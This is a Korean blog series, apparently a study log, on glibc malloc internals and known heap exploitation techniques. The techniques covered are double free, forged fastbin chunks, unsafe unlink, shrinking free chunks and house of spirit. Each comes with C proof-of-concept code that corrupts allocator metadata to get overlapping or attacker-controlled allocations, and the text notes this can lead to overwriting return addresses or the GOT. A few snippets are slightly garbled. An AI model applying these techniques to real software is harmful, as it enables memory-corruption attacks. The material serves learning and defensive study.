house of spirit


house of spirit은 공격자가 기존 포인터를 'free'하기 전에 덮어 쓰는 것과 관련하여 다른 공격과 약간 다르다. 공격자는 메모리(힙, 스택 등)의 어느 곳에서나 상주 할 수 있는 포인터를 덮어씁니다. 청크는 모든 보안 테스트를 통과 할 수 있는 방식으로 설계한다. 어렵지 않으며 크기와 다음 chunks 크기만 설정하면 된다. fake chunk가 free되면, 그것은 적절한 binlist에 삽입됩니다. 이 크기에 대한 malloc호출은  공격자의 fake chunk를 호출한다. 최종결과는 'forging chunks attack'과 유사하다. 


샘플 코드 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct fast_chunk {
  size_t prev_size;
  size_t size;
  struct fast_chunk *fd;
  struct fast_chunk *bk;
  char buf[0x20];                   // chunk falls in fastbin size range
};
 
struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
// fake_chunks[0] at 0x7ffe220c5ca0
// fake_chunks[1] at 0x7ffe220c5ce0
 
void *ptr, *victim;
 
ptr = malloc(0x30);                 // First malloc
 
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);  // 0x40
 
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);  // 0x40
 
// Attacker overwrites a pointer that is about to be 'freed'
ptr = (void *)&fake_chunks[0].fd;
 
// fake_chunks[0] gets inserted into fastbin
free(ptr);
 
victim = malloc(0x30);              // 0x7ffe220c5cb0 address returned from malloc
cs


예상대로 반환된 포인터는 fake_chunks[0] 보다 16바이트 앞을 가리킨다. fd포인터가 저장된 주소다. 힙공간 대신에 스택의 메모리를 가리킨다.

공격자는 스택의 return 어드레스를 수정에서 exploit한다.


일반적으로 우리는 우리가 할당한 메모리에 데이터를 쓴다. 그렇기 때문에 만약 malloc이 반환하는 주소를 제어할 수 있다면, write-anything-anywhere를 실현할 수 있다.House of Spirit의 최종적인 효과는 공격자가 만든 가짜 청크를 fastbin을 통해 반환하게 하는 것이다.

'Heap' 카테고리의 다른 글

12.Shrinking Free Chunks  (0) 2018.06.19
11.Unlink Exploit  (0) 2018.06.11
10.Forging chunks  (0) 2018.06.07
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06

Shrinking Free Chunks


이 공격은 'Glibc adventures : The forgotten chunk'에 설명되어 있다. 그것은 단일 바이트의 힙 오버플로우를 사용한다.

공격의 목표는 'malloc'이 현재 사용중인 이미 할당 된 청크와 겹치는 청크를 반환하도록하는 것이다. 

먼저 3개의 연속 청크(a, b, c)가 할당되고 가운데 청크(b)가 free된 상태에서 1번째(a) chunk에서 overflow하여 2번째 청크(b)에 size 부분을 덮어쓰게 된다. 

공격차는 최하위 바이트를 0으로 설정한다. 이 'shrinks'는 청크 사이즈를 줄인다. (b의 사이즈를 0x208 -> 0x200으로) 그 다음 2개의 작은 청크(b1, b2)가 free된 중간의 청크로부터 할당된다. 

The third chunk's prev_size does not get updated as b + b->size no longer points to c. It, in fact, points to a memory region 'before' c.  

그런 다음 c와 함께 b1이 free됩니다. c는 여전히 b가 free라고 가정합니다. (prev_size가 없데이트되지 않았기 때문에 c -> c -> prev_size가 여전히 b를 가리킴) 그리고 자신(c)을 b로 통합한다.

 그 결과 b에서 시작하여 b2와 겹치는 큰 free chunk가 설정된다. 새로운 malloc은 이 큰 chunk를 반환하여 공격을 완료한다.


* unsortedbin은 FIFO! 인접한것이 오면 병합


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[19];               // padding
};
 
void *a, *b, *c, *b1, *b2, *big;
struct chunk_structure *b_chunk, *c_chunk;
 
// Grab three consecutive chunks in memory
= malloc(0x100);                            // at 0xfee010
= malloc(0x200);                            // at 0xfee120
= malloc(0x100);                            // at 0xfee330
 
b_chunk = (struct chunk_structure *)(b - 2*sizeof(size_t));
c_chunk = (struct chunk_structure *)(c - 2*sizeof(size_t));
 
// free b, now there is a large gap between 'a' and 'c' in memory
// b will end up in unsorted bin
free(b);
 
// Attacker overflows 'a' and overwrites least significant byte of b's size
// with 0x00. This will decrease b's size.
*(char *)&b_chunk->size = 0x00;
 
// Allocate another chunk
// 'b' will be used to service this chunk.
// c's previous size will not updated. In fact, the update will be done a few
// bytes before c's previous size as b's size has decreased.
// So, b + b->size is behind c.
// c will assume that the previous chunk (c - c->prev_size = b/b1) is free
b1 = malloc(0x80);                           // at 0xfee120
 
// Allocate another chunk
// This will come directly after b1
b2 = malloc(0x80);                           // at 0xfee1b0
strcpy(b2, "victim's data");
 
// Free b1
free(b1);
 
// Free c
// This will now consolidate with b/b1 thereby merging b2 within it
// This is because c's prev_in_use bit is still 0 and its previous size
// points to b/b1
free(c);
 
// Allocate a big chunk to cover b2's memory as well
big = malloc(0x200);                          // at 0xfee120
memset(big, 0x410x200 - 1);
 
printf("%s\n", (char *)b2);       // Prints AAAAAAAAAAA... !
  
cs


big은 초기 b청크를 가리키고 b2와 겹친다. 이 두 청크가 결코 free되지 않아도 big의 내용을 갱신하면 b2의 내용도 갱신된다.

b를 축소하는 대신 공격자는 b의 크기를 늘릴 수도 있다.

이경우 중복의 비슷한 케이스가 나타난다.

'malloc'이 증가된 크기의 다른 청크를 요청하면 b가 이 요청을 처리하는데 사용된다.

이제 c의 메모리도 이 새로운 청크의 일부가 될 것이다.

'Heap' 카테고리의 다른 글

13.House of spirit  (0) 2018.06.20
11.Unlink Exploit  (0) 2018.06.11
10.Forging chunks  (0) 2018.06.07
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06

Unlink Exlpoit


Unlink 공격은 한때 꽤 흔했다. 그러나 두 가지 보안 검사가 unlink MACRO ("corrupted size vs. prev_size" 와 "corrupted double linked list" FD->bk != P || BK->fd != P )에 추가되어 공격의 영향을 어느 정도 줄였다.

그럼에도 불구하고, bin에서 chunk를 제거할때, unlink MACRO에서 수정된 포인터를 exploit한다.


struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

unsigned long long *chunk1, *chunk2; 
struct chunk_structure *fake_chunk, *chunk2_hdr; 
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80);        // Points to 0xa0e010
chunk2 = malloc(0x80);        // Points to 0xa0e0a0

// 공격자가 chunk1의 내용을 제어한다고 가정
// heap 오버플로우로 chunk2의 헤더가 덮힘

// 첫번째 수정한 fake chunk는 chunk1에서 시작함
// unlink security check을 우회하기 위해 fd와 bk 포인터를 설정해줘야함
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P 3 : 0x18
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P 2 : 0x10

// 모든 security check를 우회할 수 있도록 chunk2의 헤더를 수정한다.
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80;  // chunk1의 데이터 영역의 size
chunk2_hdr->size &= ~1;        // prev_inuse bit를 unsetting한다.

//chunk2가 free될때, 공격자의 fake chunk는 'unlink' 된다.
// chunk1의 포인터에 chunk1 - 3을 가리키는 포인터가 생성된다.
// i.e. chunk1[3]이 chunk1 자체가 포함됨
// 우리는 chunk1이 victim's data를 가리키도록 만든다.
free(chunk2);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;   // hex for "hacked!"

printf("%s\n", data);         // Prints "hacked!"


먼저, smallbin 범위에 속하는 0x80사이즈의 chunk1 과 chunk2을 malloc한다. 그 다음 공격자가 chunk1의 내용을 제어할 수 있다고 가정한다.(strcpy와 같은 안전하지 않은 user input 사용) 두 청크는 메모리상에 나란히 위치하게 되고 chunk1에 데이터부분에 fake_chunk를 생성한다. 그리고 "corrupted double-linked list" security check을 우회하기 위해 fd와 bk포인터를 조정한다. 그리고 chunk2의 헤더를 덮어 prev_size와 prev_inuse 비트를 수정한다. 이렇게 하면 chunk2가 해제 될 때 fake_chunk가 unlink된다. 



P ->fd -> bk == P 와 P -> bk -> fd == P check가 어떻게 pass되는가?

chunk2가 free되면, smallbin으로 간다. prev와 next chunk가  free되어있는지 아닌지 체크한다.

임의의 청크가 'free'로 탐지되면 연속적인 free 청크를 병합하기 위해 unlink된다.

unlink MACRO는 포인터를 수정하는 두가지 명령을 실행한다.


1. Set P -> fd -> bk = P -> bk

2. Set P -> bk -> fd = P -> bk


이 경우, P-> fd-> bk와 P-> bk-> fd는 같은 위치를 가리키고 있으므로 두 번째 업데이트 만 나타납니다. 다음 다이어그램은 chunk2가 해제 된 직후 두 번째 업데이트의 효과를 보여줍니다.



이제 chunk1은 (& chunk1-3)의 주소 (16 비트)를 가리킨다.

그러므로 chunk1 [3]은 실제로 chunk1이다. chunk1 [3] 변경은 chunk1을 변경하는 것과 같다.

침입자는 chunk1 자체 대신에 chunk1 (chunk1 [3]) 위치의 데이터를 업데이트 할 수있는 기회를 얻는다.

이 예제에서 chunk1은 'data'변수를 가리키게되고 chunk1을 통한 변경 사항은 해당 변수에 반영됩니다.


 .got 섹션을 덮어 쓰면 임의 코드가 실행됩니다.

'Heap' 카테고리의 다른 글

13.House of spirit  (0) 2018.06.20
12.Shrinking Free Chunks  (0) 2018.06.19
10.Forging chunks  (0) 2018.06.07
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06

forging chunks


청크가 해제되면 binlist에 삽입되고 이후에도 포인터는 프로그램에서 계속 사용할 수 있다. 공격자가 이 포인터를 제어할 경우 bin에서 linked list 구조를 수정할 수 있고 임의의 위조된 청크를 삽입 할 수 있다. 


struct forged_chunk {
  size_t prev_size;
  size_t size;
  struct forged_chunk *fd;
  struct forged_chunk *bck;
  char buf[10];               // padding
};

// First grab a fast chunk
a = malloc(10);               // 'a' points to 0x219c010

// Create a forged chunk
struct forged_chunk chunk;    // At address 0x7ffc6de96690
chunk.size = 0x20;            // This size should fall in the same fastbin
data = (char *)&chunk.fd;     // Data starts here for an allocated chunk
strcpy(data, "attacker's data");

// Put the fast chunk back into fastbin
free(a);
// 위조된 청크를 가리키기 위해 'a'의 'fd'포인터를 수정한다.
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10);                   // Will return 0x219c010

victim = malloc(10);          // Points to 0x7ffc6de966a0
printf("%s\n", victim);       // Prints "attacker's data" !!

위조된 청크의 크기 변수는 "malloc() : memory corruption(fast)"를 우회하기 위해 0x20으로 설정되었다.

이 검사는 청크의 크기가 특정 fastbin의 범위에 해당되는지를 판별한다. 또한, 할당된 청크에 대한 데이터는 'fd' 포인터에서 시작된다.



1. 'a' free됨

head -> a -> tail

2. 'a'의 'fd'포인터가 'forged chunk'를 가리키게 수정됨

head -> a -> forged chunk -> undefined(forged chunk의 fd는 실제 공격자의 데이터를 보유)

3. 'malloc' 요청됨.

head -> forged chunk -> undefined

4. victim에 의한 'malloc' 요청

head -> undefined (forged chunk가 victim에 의해 리턴됨)


유의 : 

같은 bin list에 있는 fast chunk에 대한 'malloc'요청은  segmentation fault 오류를 일으킨다.

우리가 10bytes를 요청하고 위조된 덩어리의 크기를 32(0x20)바이트로 설정하더라도, 둘 다 32 바이트 덩어리의 동일한 fastbin의 범위에 속한다.

small과 large 청크에 대한 이 공격은 나중에 'House of Lore'로 보여줄 것이다.

위 예시 코드는 64bit용으로 설계되었다. 32bit에서 실행하려면 포인터가 8바이트대신 4바이트가 되므로 unsigned long long을 unsigned int로 바꾼다.

또한, forged chunk의 크기로 32bytes를 사용하는 대신 약 17bytes의 작은 크기가 작동한다.

'Heap' 카테고리의 다른 글

12.Shrinking Free Chunks  (0) 2018.06.19
11.Unlink Exploit  (0) 2018.06.11
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06
07.Security Checks  (1) 2018.06.05

Double Free


리소스를 두번 이상 free하면 메모리 누수가 발생한다. allocator의 데이터 구조가 공격자에 의해서 손상되어 exploit 될 수 있다.

아래의 샘플 프로그램에서 fastbin chunk가 두 번 해제됩니다. glibc에 의한 'double free or corruption(fasttop)' security check을 피하기위해 두 free 사이에 다른 청크가 free된다. 

이것은 동일한 두개의 청크가 서로 다른 malloc에 의해 반환된다는 것을 의미한다.

아래에서 d 와 f 포인터는 동일한 메모리 주소를 가리킨다. d 나 f 둘 중 하나의 메모리 수정이 이루어지면 다양한 공격으로 이루어질 수 있다.


a = malloc(10);     // 0xa04010
b = malloc(10);     // 0xa04030
c = malloc(10);     // 0xa04050

free(a);
free(b);  // To bypass "double free or corruption (fasttop)" check
free(a);  // Double Free !!

d = malloc(10);     // 0xa04010
e = malloc(10);     // 0xa04030
f = malloc(10);     // 0xa04010   - Same as 'd' !

fastbin의 상태 : 

1. 'a' free됨

head -> a -> tail

2. 'b' free됨

head -> b -> a -> tail

3. 'a' 다시 free됨

head -> a -> b -> a -> tail

4. 'd' malloc요청

head -> b -> a -> tail  (a 공간 리턴)

5. 'e' malloc 요청

head -> a -> tail (b 공간 리턴)

6. 'f' malloc 요청

head -> tail (a 공간 리턴)


이제, 'd' 와 'f' 포인터는 같은 메모리 주소를 가리킨다. smallbin 범위에서 크기가 변경될 시 예제 작동 x

첫번째 free에서 next chunk의 prev_inuse 비트가 0으로 설정도니다. 두번째 free 과정에서 이 비트가 0이면 "double free or corruption(!prev)" 오류가 발생한다. 

'Heap' 카테고리의 다른 글

11.Unlink Exploit  (0) 2018.06.11
10.Forging chunks  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06
07.Security Checks  (1) 2018.06.05
06.malloc 분석  (0) 2018.06.05

이 기술은 glibc의 allocator의 first-fit 동작을 설명한다.

모든 청크(fastbin 제외)가 free될 때마다 unsorted bin에서 끝난다.

삽입은 리스트의 HEAD에서 일어난다. fastbin을 제외하고 새로운 청크를 요청할때, small bin이 비어있을 때 처음에 unsorted bin에서 찾는다.

이 조회는 TAIL에서 일어난다. 


만약 unsorted bin에 필요한 크기의 청크가 있다면 사용하겠지만, 요청된 크기보다 큰 청크가 존재할때 두개로 분할되어 반환된다. 이렇게 하면 FIFO 구조가 된다.


char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150

free(a);

a = malloc(250);          // 0x***010


unsorted bin에서 free와 malloc은 아래와 같이 진행된다.

1. 'a'가 free된다.

head -> a -> tail


2. 'malloc'이 요청된다.

head -> a2 -> tail ['a1' is returned]

'a' chunk는 'a1' , 'a2'로 나눠진다.  요청된 크기(250바이트)는 'a'(300바이트)보다 작아서.


이과정은 _int_malloc에서도 해당된다. 그리고 fastbin의 경우에도 마찬가지이다. 

unsorted bin에서 free되는 대신에, fasbin에서 fast chunk는 끝난다. 앞에서 언급 했듯이, fastbin은 single linked list를 가지고 있어 

HEAD에서 추가와 삭제가 이루어진다. 그래서 fastbin은 FILO구조를 같는다.(?)



char *a = malloc(20);     // 0xe4b010
char *b = malloc(20);     // 0xe4b030
char *c = malloc(20);     // 0xe4b050
char *d = malloc(20);     // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20);           // 0xe4b070
b = malloc(20);           // 0xe4b050
c = malloc(20);           // 0xe4b030
d = malloc(20);           // 0xe4b010

deferred coalescing

fastbin에서의 free, malloc 진행

1. 'a'가 free됨

head -> a -> tail

2. 'b' free됨

head -> b -> a -> tail

3. 'c' free됨

head -> c -> b -> a -> tail

4. 'd' free됨

head -> d -> c -> b -> a ->tail

5. malloc 요청 

 d, c, b, a순으로 return됨

20byte의 작은 청크는 unsortedbin 대신에 fastbin으로 들어간다.


Use after Free Vulnerability


위의 예제에서 malloc은 이전에 사용되었고 free된 청크를 return하는 것을 알 수 있었다. 결국 free된 메모리 청크의 재사용은 취약할 수 있다. 청크가 free되면 공격자는 청크 내부의 데이터를 제어 할 수 있다는 뜻이 된다. 

'Heap' 카테고리의 다른 글

10.Forging chunks  (0) 2018.06.07
09.Double Free  (0) 2018.06.07
07.Security Checks  (1) 2018.06.05
06.malloc 분석  (0) 2018.06.05
05.Internal functions  (0) 2018.06.01

av는 arena ptr(Main or Thread), bytes는 사용자가 요청한 크기


unlink


1. 청크 크기가 다음 청크에 설정된 prev_size와 같은지 // corrupted size vs prev_size

2. FD->bk != P || BK->fd != P // corrupted double-linked list

여기서 p는 unlink 되어지는 청크


fake chunk

참고 : https://www.lazenca.net/display/TEC/unsafe+unlink



_int_malloc


1. fastbin에서 첫 번째 청크를 제거하는 동안, 청크의 크기가 fastbin 의 청크 사이즈 범위에 속하는지 확인 // malloc() : memory corruption(fast)

2. small bin으로부터 마지막 청크(victim)를 제거하는 동안 victim -> bk -> fd 와 victim이 같은지 확인 // malloc() : smallbin double linked list corrupted

3. unsorted bin에서 반복하는 동안, 현재 청크의 사이즈가 최소(2*SIZE_SZ)와 최대(av -> system_mem) 범위 내에 있는지 확인 // malloc() : memory corruption

4. 마지막 remainder chunk를 unsorted bin에 넣는 동안(large chunk를 분할 한 후)에 unsorted_chunks(av) -> fd -> bk == unsorted_chunks(av)인지 확인 // malloc() : corrupted unsorted chunks



 _int_free


1. P가 P+chunksize(P)보다 앞에 있는지 확인(to avoid wrapping) ?? // free() : invalid pointer

여기서 P는 free된 청크 

2. chunk가 최소 MINISZE 크기인지 또는 MALLOC_ALIGNMENT의 배수인지 확인 // free() : invalid size

3. fastbin 범위의 크기를 가진 chunk의 경우, 다음 청크의 크기가 최소와 최대(av -> system_mem)사이의 크기에 있는지 확인 // free() : invalid next size(fast)

4. fast chunk를 fastbin(HEAD)에 넣을때 HEAD에 이미 있는 청크와 동일하지 않은지 확인 // double free or corruption(fasttop)

5. fastbin에 fast chunk를 넣을때(HEAD에), HEAD에 있는 청크의 크기와 삽입 될 청크의 크기가 같은지 확인 // invalid fastbin entry(free)

6. chunk가 fastbin의 크기 범위에 있지 않고 mmapped chunks도 아닌 경우, top chunk와 같은지 확인 // double free or corruption(top)

7. next chunk가 아레나의 범위 안에 있는지 확인한다. // double free or corruption (out)

8. 다음 청크의 prev_inuse 비트가 표시되어 있는지 확인 // double free or corruption(!prev)

9. next chunk의 크기가 최소와 최대(av -> system_mem) 사이즈 사이에 있는지 확인 // free() : invalid next size(normal)

10. unsorted bin에 병합된 청크를 삽입하는 동안 unsorted_chunks(av) -> fd -> bk == unsorted_chunks(av)인지 확인 // free() : corrupted unsorted chunks

'Heap' 카테고리의 다른 글

09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06
06.malloc 분석  (0) 2018.06.05
05.Internal functions  (0) 2018.06.01
04.Bins and Chunks  (0) 2018.05.24

Internal functions


내부적으로 사용되는 보편적인 함수에 대해 알아보자.

몇몇의 함수는 #define 지시문을 사용하여 정의해 놨기 때문에 호출된 파라미터는 함수종료 후에도 변경사항은 유지된다.

물론, MALLOC_DEBUG가 설정되지 않는 것으로 가정합니다.


arena_get (ar_ptr, size)


아레나를 획득하고 해당 뮤택스를 lock합니다. ar_ptr은 해당 아레나를 가르키는 포인터이고, size는 얼만큼의 메모리크기를 필요로 하는지를 나타낸다.



sysmalloc [TODO]


sysmalloc은 시스템에서 더 많은 메모리를 필요로 하는 malloc케이스를 처리한다. 입력시, av -> top에는 nb바이트에 대한 서비스 요청에 충분한 공간이 없으므로 av->top을 확장하거나 대체한다.



void alloc_perturb (char * p, size_t n)


perturb_byte (M_PERTURB를 사용하는 malloc의 변경가능한 매개 변수)가 0이 아닌 경우 (기본적으로 0), p가 가리키는 n 바이트를 perturb_byte ^ 0xff와 같게 설정합니다.



void free_perturb (char * p, size_t n)


perturb_byte (M_PERTURB를 사용하는 malloc의 변경가능 파라미터)가 0이 아닌 경우 (기본적으로 0), p가 가리키는 n 바이트를 perturb_byte와 동일하게 설정합니다.



void malloc_init_state (mstate av)


malloc_state 구조체를 초기화

이것은 malloc_consolidate 내에서만 호출되며, 어쨌든 동일한 컨텍스트에서 호출되어야합니다. 일부 최적화 컴파일러가 모든 호출 지점에서 인라인하려고 시도하기 때문에 malloc_consolidate 외부에서 직접 호출되지 않습니다. 이는 최적화가 아닐 수도 있습니다. (malloc_consolidate을 통해 인라이닝하는 것은 fine.)

fastbin이 아닌경우, 각 bin에 대해서 빈 순환 링크트리스트를 만든다.

av에 FASTCHUNKS_BIT 플래그를 설정한다.

av -> top을 첫 번째 unsorted chunk 로 초기화 한다.


unlink(AV, P, BK, FD)


bin에서 chunk를 제거하기 위해 정의된 매크로

제거하려는 청크의 크기가 다음 청크에 설정된 이전 청크의 사이즈와 일치하는지 확인한다. prev_size

그렇지 않으면 오류가 발생한다.


제거를 용이하게 하기위해 인접한 청크들의 포인터를 잘 조정한다.

P -> fd  -> bk = P -> bk

P -> bk -> fd = p -> fd



void malloc_consolidate(mstate av)


free()의 특수화 된 버전

1. global_max_fast가 0 (초기화되지 않음)인지 확인한다. 값이 0이면 매개 변수로 av를 사용하여 malloc_init_state를 호출하고 리턴

Fast bin이 처리하는 메모리의 최대 크기는 global_max_fast에 의해 결정된다.

2. global_max_fast가 0이 아니면 av에 대해 FASTCHUNKS_BIT를 지웁니다.

3. 첫 번째 인덱스에서 마지막 인덱스까지 fastbin 배열을 반복합니다. 

1) 현재 fastbin 청크에 잠금을 설정하고 null이 아닌 경우 계속 진행한다.

2) 이전 청크가 사용 중이 아니면 이전 청크에서 unlink를 호출한다.

3) 다음 청크가 TOP chunk가 아닌 경우 :

1>다음 청크가 사용 중이 아니면 다음 청크에서 unlink를 호출한다.

2>청크를 이전과 병합한 다음 통합 된 청크를 unsorted bin의 헤드에 추가한다.

4. next chunk가 TOP chunk인 경우, 청크를 하나의 TOP 청크로 적절하게 병합한다.


NOTE : 'in use'에 대한 점검은 PREV_IN_USE 플래그를 사용하여 수행된다. 따라서 다른 fastbin 청크의 free는 확인되지 않는다.

'Heap' 카테고리의 다른 글

07.Security Checks  (1) 2018.06.05
06.malloc 분석  (0) 2018.06.05
04.Bins and Chunks  (0) 2018.05.24
03.malloc_state  (0) 2018.05.24
02.malloc_chunk  (0) 2018.05.24

Bin


bin은 더블이나 싱글로 link된 free(할당되지 않은) chunks의 리스트이다.  청크의 크기에 따라 bin의 종류가 달라지는데

1. Fast bin     2. Unsorted bin    3. Small bin    4. Large bin 이 있다.


 Fast bin은 아래와 같이 관리된다.

1
2
3
typedef struct malloc_chunk *mfastbinptr;
 
mfastbinptr fastbinsY[]; // chunks의 포인터들의 배열
cs


Unsorted, small 과 large bin은 단일 배열을 사용하여 관리된다.

1
2
3
typedef struct malloc_chunk* mchunkptr;
 
mchunkptr bins[]; // Array of pointers to chunks
cs


초기에, 프로세스 초기화 과정에 small, large bin은 비어있다.

각각의 bin은 배열의 두개의 값으로 표현되는데, bin리스트의 'HEAD'와 'TAIL' 포인터이다. fast bin은 싱글 링크드 리스트 구조이고, 두번째 값(TAIL)은 NULL값을 가진다.


Fast bins


패스트빈은 10가지 종류가 있다. 모두 다 싱글 링크드 리스트 구조이며 추가 삭제는 리스트의 앞쪽에서 일어난다. Last In First Out 구조를 가진다.

하나의 패스트빈은 모두 같은 사이즈의 chunks의 집합으로 이루어져있고 사이즈는 16 / 24 / 32 / 40 / 48 / 56 / 64 / 72 / 80 / 88 이 있다.

인접한 두개의 free된 fast chunk는 병합되지 않는다. 할당할 때에는 먼저 할당하려는 사이즈와 같은 크기의 사용하지 않는 청크가 fastbin에 존재

하는 지를 검사한다. 만약 존재한다면 바로 fastbin에서 빼오고 반환한다. 만약 없다면 다른 방식(top chunk 절단)을 통해 크기가 적합한 청크를 

어와 반환한다. 하나의 청크를 프리(free)할 때에도, 먼저 해당 청크의 크기가 fastbin의 범위 안에 있는 지를 검사한다. 만약 있다면 그에 대응하

는 bin에 넣는다. 이름을 보면 뜻을 알 수 있다고, fastbin은 비교적 작은 사이즈의 청크들을 분배하고 회수한다. 그렇기 때문에 위에서 얘기한 bk

에 대한 작업은 진행하지 않는다. 그저 fd만 사용하여 더블 링크드 리스트가 아닌 싱글링크드 리스트를 구성하며 LIFO 원칙을 준수한다.



Unsorted bin


모든 chunk들은 free되어 처음에 unsorted bin에 추가된다. 최근에 free된 chunk들을 재사용 할 수 있도록 하기 위함.

First In First Out 형태로 동작하며 검색된 chunk는 바로 재할당 되더라도 원래의 bin으로 돌아가게 됨. 단 한번의 재사용 기회가 주어짐

double linked 리스트 구조를 갖으며 개수는 1개이다. 속도 향상


Small bin


small bin은 62 종류를 가지며 fast bin 보다는 느리지만 Large bin 보다는 빠르다. 더블 링크드 리스트 구조이며 First In First Out 방식으로 

'HEAD'에서 삽입이 발생하는 동안 'TAIL'에서 삭제가 발생한다. fast bins처럼 같은 사이즈의 청크끼리 묶이며 사이즈는 16, 24 ... , 504바이트(8바이트 단위) 등


32bit


size : 0x10, 0x18, 0x20 ...... , 0x1F8(504)

  • (8x+8, 1<=x<=62) 


  • 64bit

  • size : 0x20, 0x30, 0x30 ...... , 0x3F0(1008)
    (16x+16, 1<=x<=62)


이 있다. free된 두개의 청크가 있다면 병합을 진행한다.





Large bin


63가지의 bin을 가지며 더블 링크드 리스트 구조를 가진다. 512바이트 이상의 크기를 가지는 chunk모으며 크기가 같은 청크만 모으지 않는다.

'HEAD'에서 가장 큰 청크, 'TAIL'에서 가장 작은 청크 등의 순서로 정렬된다. 

fd_nextsize와 bk_nextsize에 대한 필드가 존재한다고 생각하면 되고, 역시 인접한 두 청크가 free상태이면 병합을 진행한다.


만약 128KB 이상의 공간이 할당되는 경우에는 mmap() 시스템 콜을 거쳐 별도의 공간을 할당한 뒤에 청크가 생성된다.

그리고 이렇게 생성된 청크들은 bin에 속하지 않는다. IS_MMAPPED플래그로 체크하며 munmap()으로 해제한다.





'Heap' 카테고리의 다른 글

06.malloc 분석  (0) 2018.06.05
05.Internal functions  (0) 2018.06.01
03.malloc_state  (0) 2018.05.24
02.malloc_chunk  (0) 2018.05.24
01.Understanding glibc malloc  (0) 2018.05.21

+ Recent posts